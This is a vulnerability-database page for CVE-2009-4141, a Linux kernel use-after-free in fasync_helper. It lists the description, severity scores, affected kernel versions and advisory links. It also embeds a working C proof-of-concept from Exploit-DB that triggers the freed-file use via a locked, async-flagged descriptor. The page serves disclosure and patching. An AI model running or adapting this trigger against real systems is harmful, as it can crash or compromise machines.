CVE-2009-4141 : Detail

CVE-2009-4141

0.12%V4
Local
2010-01-19
15h00 +00:00
2017-09-18
10h57 +00:00
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CVE Descriptions

Use-after-free vulnerability in the fasync_helper function in fs/fcntl.c in the Linux kernel before 2.6.33-rc4-git1 allows local users to gain privileges via vectors that include enabling O_ASYNC (aka FASYNC or FIOASYNC) on a locked file, and then closing this file.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 33523

Publication date : 2009-12-15 23h00 +00:00
Author : Tavis Ormandy
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/37806/info Linux kernel is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. The Linux Kernel 2.6.28 and later are vulnerable. */ #ifndef _GNU_SOURCE # define _GNU_SOURCE #endif #include <stdio.h> #include <unistd.h> #include <stdint.h> #include <stdbool.h> #include <fcntl.h> #include <stdlib.h> #include <assert.h> #include <asm/ioctls.h> // Testcase for locked async fd bug -- taviso 16-Dec-2009 int main(int argc, char **argv) { int fd; pid_t child; unsigned flag = ~0; fd = open("/dev/urandom", O_RDONLY); // set up exclusive lock, but dont block flock(fd, LOCK_EX | LOCK_NB); // set ASYNC flag on descriptor ioctl(fd, FIOASYNC, &flag); // close the file descriptor to trigger the bug close(fd); // now exec some stuff to populate the AT_RANDOM entries, which will cause // the released file to be used. // This assumes /bin/true is an elf executable, and that this kernel // supports AT_RANDOM. do switch (child = fork()) { case 0: execl("/bin/true", "/bin/true", NULL); abort(); case -1: fprintf(stderr, "fork() failed, %m\n"); break; default: fprintf(stderr, "."); break; } while (waitpid(child, NULL, 0) != -1); fprintf(stderr, "waitpid() failed, %m\n"); return 1; }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.6.33

Linux>>Linux_kernel >> Version 2.6.0

Linux>>Linux_kernel >> Version 2.6.1

Linux>>Linux_kernel >> Version 2.6.2

Linux>>Linux_kernel >> Version 2.6.3

Linux>>Linux_kernel >> Version 2.6.4

Linux>>Linux_kernel >> Version 2.6.5

Linux>>Linux_kernel >> Version 2.6.6

Linux>>Linux_kernel >> Version 2.6.7

Linux>>Linux_kernel >> Version 2.6.8

Linux>>Linux_kernel >> Version 2.6.8.1

Linux>>Linux_kernel >> Version 2.6.9

Linux>>Linux_kernel >> Version 2.6.10

Linux>>Linux_kernel >> Version 2.6.11

Linux>>Linux_kernel >> Version 2.6.11.1

Linux>>Linux_kernel >> Version 2.6.11.2

Linux>>Linux_kernel >> Version 2.6.11.3

Linux>>Linux_kernel >> Version 2.6.11.4

Linux>>Linux_kernel >> Version 2.6.11.5

Linux>>Linux_kernel >> Version 2.6.11.6

Linux>>Linux_kernel >> Version 2.6.11.7

Linux>>Linux_kernel >> Version 2.6.11.8

Linux>>Linux_kernel >> Version 2.6.11.9

Linux>>Linux_kernel >> Version 2.6.11.10

Linux>>Linux_kernel >> Version 2.6.11.11

Linux>>Linux_kernel >> Version 2.6.11.12

Linux>>Linux_kernel >> Version 2.6.12

Linux>>Linux_kernel >> Version 2.6.12.1

Linux>>Linux_kernel >> Version 2.6.12.2

Linux>>Linux_kernel >> Version 2.6.12.3

Linux>>Linux_kernel >> Version 2.6.12.4

Linux>>Linux_kernel >> Version 2.6.12.5

Linux>>Linux_kernel >> Version 2.6.12.6

Linux>>Linux_kernel >> Version 2.6.13

Linux>>Linux_kernel >> Version 2.6.13.1

Linux>>Linux_kernel >> Version 2.6.13.2

Linux>>Linux_kernel >> Version 2.6.13.3

Linux>>Linux_kernel >> Version 2.6.13.4

Linux>>Linux_kernel >> Version 2.6.13.5

Linux>>Linux_kernel >> Version 2.6.14

Linux>>Linux_kernel >> Version 2.6.14.1

Linux>>Linux_kernel >> Version 2.6.14.3

Linux>>Linux_kernel >> Version 2.6.14.4

Linux>>Linux_kernel >> Version 2.6.14.5

Linux>>Linux_kernel >> Version 2.6.14.6

Linux>>Linux_kernel >> Version 2.6.14.7

Linux>>Linux_kernel >> Version 2.6.15

Linux>>Linux_kernel >> Version 2.6.15.1

Linux>>Linux_kernel >> Version 2.6.15.2

Linux>>Linux_kernel >> Version 2.6.15.3

Linux>>Linux_kernel >> Version 2.6.15.4

Linux>>Linux_kernel >> Version 2.6.15.5

Linux>>Linux_kernel >> Version 2.6.15.6

Linux>>Linux_kernel >> Version 2.6.15.7

Linux>>Linux_kernel >> Version 2.6.16

Linux>>Linux_kernel >> Version 2.6.16.1

Linux>>Linux_kernel >> Version 2.6.16.2

Linux>>Linux_kernel >> Version 2.6.16.3

Linux>>Linux_kernel >> Version 2.6.16.4

Linux>>Linux_kernel >> Version 2.6.16.5

Linux>>Linux_kernel >> Version 2.6.16.6

Linux>>Linux_kernel >> Version 2.6.16.7

Linux>>Linux_kernel >> Version 2.6.16.8

Linux>>Linux_kernel >> Version 2.6.16.9

Linux>>Linux_kernel >> Version 2.6.16.10

Linux>>Linux_kernel >> Version 2.6.16.11

Linux>>Linux_kernel >> Version 2.6.16.12

Linux>>Linux_kernel >> Version 2.6.16.13

Linux>>Linux_kernel >> Version 2.6.16.14

Linux>>Linux_kernel >> Version 2.6.16.15

Linux>>Linux_kernel >> Version 2.6.16.16

Linux>>Linux_kernel >> Version 2.6.16.17

Linux>>Linux_kernel >> Version 2.6.16.18

Linux>>Linux_kernel >> Version 2.6.16.19

Linux>>Linux_kernel >> Version 2.6.16.20

Linux>>Linux_kernel >> Version 2.6.16.21

Linux>>Linux_kernel >> Version 2.6.16.22

Linux>>Linux_kernel >> Version 2.6.16.23

Linux>>Linux_kernel >> Version 2.6.16.24

Linux>>Linux_kernel >> Version 2.6.16.25

Linux>>Linux_kernel >> Version 2.6.16.26

Linux>>Linux_kernel >> Version 2.6.16.27

Linux>>Linux_kernel >> Version 2.6.16.28

Linux>>Linux_kernel >> Version 2.6.16.29

Linux>>Linux_kernel >> Version 2.6.16.30

Linux>>Linux_kernel >> Version 2.6.16.31

Linux>>Linux_kernel >> Version 2.6.17

Linux>>Linux_kernel >> Version 2.6.17.1

Linux>>Linux_kernel >> Version 2.6.17.2

Linux>>Linux_kernel >> Version 2.6.17.3

Linux>>Linux_kernel >> Version 2.6.17.4

Linux>>Linux_kernel >> Version 2.6.17.5

Linux>>Linux_kernel >> Version 2.6.17.6

Linux>>Linux_kernel >> Version 2.6.17.7

Linux>>Linux_kernel >> Version 2.6.17.8

Linux>>Linux_kernel >> Version 2.6.17.9

Linux>>Linux_kernel >> Version 2.6.17.10

Linux>>Linux_kernel >> Version 2.6.17.11

Linux>>Linux_kernel >> Version 2.6.17.12

Linux>>Linux_kernel >> Version 2.6.17.13

Linux>>Linux_kernel >> Version 2.6.17.14

Linux>>Linux_kernel >> Version 2.6.18.1

Linux>>Linux_kernel >> Version 2.6.18.2

Linux>>Linux_kernel >> Version 2.6.18.3

Linux>>Linux_kernel >> Version 2.6.18.4

Linux>>Linux_kernel >> Version 2.6.18.5

Linux>>Linux_kernel >> Version 2.6.18.6

Linux>>Linux_kernel >> Version 2.6.18.7

Linux>>Linux_kernel >> Version 2.6.18.8

Linux>>Linux_kernel >> Version 2.6.22

Linux>>Linux_kernel >> Version 2.6.22.2

Linux>>Linux_kernel >> Version 2.6.22.3

Linux>>Linux_kernel >> Version 2.6.22.4

Linux>>Linux_kernel >> Version 2.6.22.5

Linux>>Linux_kernel >> Version 2.6.22.6

Linux>>Linux_kernel >> Version 2.6.22.7

Linux>>Linux_kernel >> Version 2.6.23

Linux>>Linux_kernel >> Version 2.6.23

Linux>>Linux_kernel >> Version 2.6.23

Linux>>Linux_kernel >> Version 2.6.23.1

Linux>>Linux_kernel >> Version 2.6.23.2

Linux>>Linux_kernel >> Version 2.6.23.3

Linux>>Linux_kernel >> Version 2.6.23.4

Linux>>Linux_kernel >> Version 2.6.23.5

Linux>>Linux_kernel >> Version 2.6.23.6

Linux>>Linux_kernel >> Version 2.6.23.7

Linux>>Linux_kernel >> Version 2.6.24

Linux>>Linux_kernel >> Version 2.6.24

Linux>>Linux_kernel >> Version 2.6.24

Linux>>Linux_kernel >> Version 2.6.24

Linux>>Linux_kernel >> Version 2.6.24

Linux>>Linux_kernel >> Version 2.6.32

Linux>>Linux_kernel >> Version 2.6.32.1

Linux>>Linux_kernel >> Version 2.6.32.2

Linux>>Linux_kernel >> Version 2.6.32.3

Linux>>Linux_kernel >> Version 2.6.32.4

Linux>>Linux_kernel >> Version 2.6.33

Linux>>Linux_kernel >> Version 2.6.33

Linux>>Linux_kernel >> Version 2.6.33

References

http://www.securityfocus.com/bid/37806
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/39033
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/38199
Tags : third-party-advisory, x_refsource_SECUNIA
https://rhn.redhat.com/errata/RHSA-2010-0095.html
Tags : vendor-advisory, x_refsource_REDHAT
https://rhn.redhat.com/errata/RHSA-2010-0046.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2010-0161.html
Tags : vendor-advisory, x_refsource_REDHAT